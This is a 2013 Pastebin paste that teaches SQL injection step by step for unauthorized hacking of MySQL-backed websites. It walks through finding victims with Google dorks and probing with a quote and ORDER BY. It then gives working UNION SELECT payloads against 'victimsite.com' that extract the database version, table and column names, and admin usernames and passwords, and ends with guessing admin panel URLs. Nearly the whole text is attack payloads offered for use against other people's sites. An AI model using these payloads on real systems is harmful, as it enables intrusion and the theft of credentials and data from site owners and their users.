Want more features on Pastebin? Sign Up, it's FREE!
Guest

SQL Injection

By: a guest on Feb 26th, 2013  |  syntax: MySQL  |  size: 7.51 KB  |  views: 503  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. What is SQL Injection?
  2. SQL injection is one of the popular web application hacking method.  Using the SQL Injection attack, an unauthorized person can access the database of the website. Attacker can extract the data from the Database.
  3.  
  4. What a hacker can do with SQL Injection attack?
  5.  
  6. * ByPassing Logins
  7. * Accessing secret data
  8. * Modifying contents of website
  9. * Shutting down the My SQL server
  10.  
  11. So, here we go.
  12.  
  13. Step 1: Finding Vulnerable Website:
  14. To find a SQL Injection vulnerable site, you can use Google search by searching for certain keywords. Those keyword often referred as 'Google dork'.
  15.  
  16. Some Examples:
  17. inurl:index.php?id=
  18. inurl:gallery.php?id=
  19. inurl:article.php?id=
  20. inurl:pageid=
  21.  
  22. Here is the huge list of Google Dork
  23. http://www.ziddu.com/download/13161874/A...t.zip.html
  24.  
  25. Copy one of the above keyword and paste in the google. Here , we will got lot search result with
  26. We have to visit the websites one by one for checking the vulnerability.
  27.  
  28.  
  29. Note:if you like to hack particular website,then try this:
  30. site:www.victimsite.com dork_list_commands
  31. for eg:
  32. site:www.victimsite.com inurl:index.php?id=
  33.  Step 2: Checking the Vulnerability:
  34. Now let us check the vulnerability of the target website. To check the vulnerability , add the single quotes(') at the end of the url and hit enter.
  35.  
  36. For eg:
  37. http://www.victimsite.com/index.php?id=2'
  38. If the page remains in same page or showing that page not found, then it is not vulnerable.
  39.  
  40. If you got an error message just like this, then it means that the site is vulnerable
  41. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
  42.  
  43. Step 3: Finding Number of columns:
  44. Great, we have found that the website is vulnerable to SQLi attack.  Our next step is to find the number of columns present in the target database.
  45.  
  46. For that replace the single quotes(') with "order by n" statement.
  47.  
  48. Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".
  49.  
  50. For eg:
  51. http://www.victimsite.com/index.php?id=2 order by 1
  52. http://www.victimsite.com/index.php?id=2 order by 2
  53. http://www.victimsite.com/index.php?id=2 order by 3
  54. http://www.victimsite.com/index.php?id=2 order by 4
  55. If you get the error while trying the "x"th number,then no of column is "x-1".
  56.  
  57. I mean:
  58. http://www.victimsite.com/index.php?id=2 order by 1(noerror)
  59. http://www.victimsite.com/index.php?id=2 order by 2(noerror)
  60. http://www.victimsite.com/index.php?id=2 order by 3(noerror)
  61. http://www.victimsite.com/index.php?id=2 order by 4(noerror)
  62. http://www.victimsite.com/index.php?id=2 order by 5(noerror)
  63. http://www.victimsite.com/index.php?id=2 order by 6(noerror)
  64. http://www.victimsite.com/index.php?id=2 order by 7(noerror)
  65. http://www.victimsite.com/index.php?id=2 order by 8(error)
  66.  
  67. so now x=8 , The number of column is x-1 i.e, 7.
  68.  
  69. In case ,if the above method fails to work for you, then try to add the "--" at the end of the statement.
  70. For eg:
  71. http://www.victimsite.com/index.php?id=2 order by 1--
  72.  
  73. Step 4: Find the Vulnerable columns:
  74. We have successfully discovered the number of columns present in the target database.  Let us find  the vulnerable column by trying the query "union select columns_sequence".
  75.  
  76. Change the id value to negative(i mean id=-2).  Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).
  77.  
  78. For eg:
  79. if the number of columns is 7 ,then the query is as follow:
  80. http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--
  81. If the above method is not working then try this:
  82. http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--
  83. Once you execute the query, it will display the vulnerable column.
  84.  
  85.  
  86.  
  87. Bingo,  column '3' and '7' are found to be vulnerable.  Let us take the first vulnerable column '3' . We can inject our query in this column.
  88.  
  89. Step 5: Finding version,database,user
  90. Replace the 3 from the query with "version()"
  91.  
  92. For eg:
  93. http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--
  94. Now, It will display the version as 5.0.1 or 4.3. something like this.
  95.  
  96. Replace the version() with database() and user() for finding the database,user respectively.
  97.  
  98. For eg:
  99. http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--
  100.  
  101. http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--
  102.  
  103. If the above is not working,then try this:
  104.  
  105. http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--
  106.  
  107. Step 6: Finding the Table Name
  108. If the Database version is 5 or above. If the version is 4.x, then you have to guess the table names (blind sql injection attack).
  109.  
  110. Let us find the table name of the database. Replace the 3 with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"
  111.  
  112. For eg:
  113.  
  114. http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--
  115. Now it will display the list of table names. Find the table name which is related with the admin or user.
  116.  
  117.  
  118.  
  119.  
  120. Let us choose the "admin " table.
  121.  
  122. Step 7: Finding the Column Name
  123.  
  124. Now replace the "group_concat(table_name) with the "group_concat(column_name)"
  125.  
  126. Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--
  127.  
  128. We have to convert the table name to MySql CHAR() string .
  129.  
  130. Install the HackBar addon:
  131. https://addons.mozilla.org/en-US/firefox/addon/3899/
  132.  
  133. Once you installed the add-on, you can see a toolbar that will look like the following one. If you are not able to see the Hackbar, then press F9.
  134.  
  135. Select sql->Mysql->MysqlChar() in the Hackbar.
  136.  
  137.  
  138. It will ask you to enter string that you want to convert to MySQLCHAR().  We want to convert the table name to MySQLChar .  In our case the table name is 'admin'.
  139.  
  140.  
  141.  
  142. Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.
  143.  
  144.  
  145.  
  146. Copy and paste the code at the end of the url instead of the "mysqlchar"
  147.  
  148. For eg:
  149. http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)--
  150. The above query will display the list of column.
  151.  
  152. For example: admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas ​ s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..
  153.  
  154. Now replace the replace group_concat(column_name) with group_concat(columnname1,0x3a,anothercolumnname2).
  155.  
  156. Now replace the " from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)" with the "from table_name"
  157.  
  158. For eg:
  159. http://www.victimsite.com/index.php?id=-2
  160. and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--
  161. If the above query displays the 'column is not found' erro, then try another column name from the list.
  162.  
  163. If we got luck, then it will display the data stored in the database depending on your column name.  For instance, username and password column will display the login credentials stored in the database.
  164.  
  165. Step 8: Finding the Admin Panel:
  166. Just try with url like:
  167. http://www.victimsite.com/admin.php
  168. http://www.victimsite.com/admin/
  169. http://www.victimsite.com/admin.html
  170. http://www.victimsite.com:2082/
  171. etc.
  172. If you got luck ,you will find the admin page using above urls. or you can some kind of admin finder tools.
clone this paste RAW Paste Data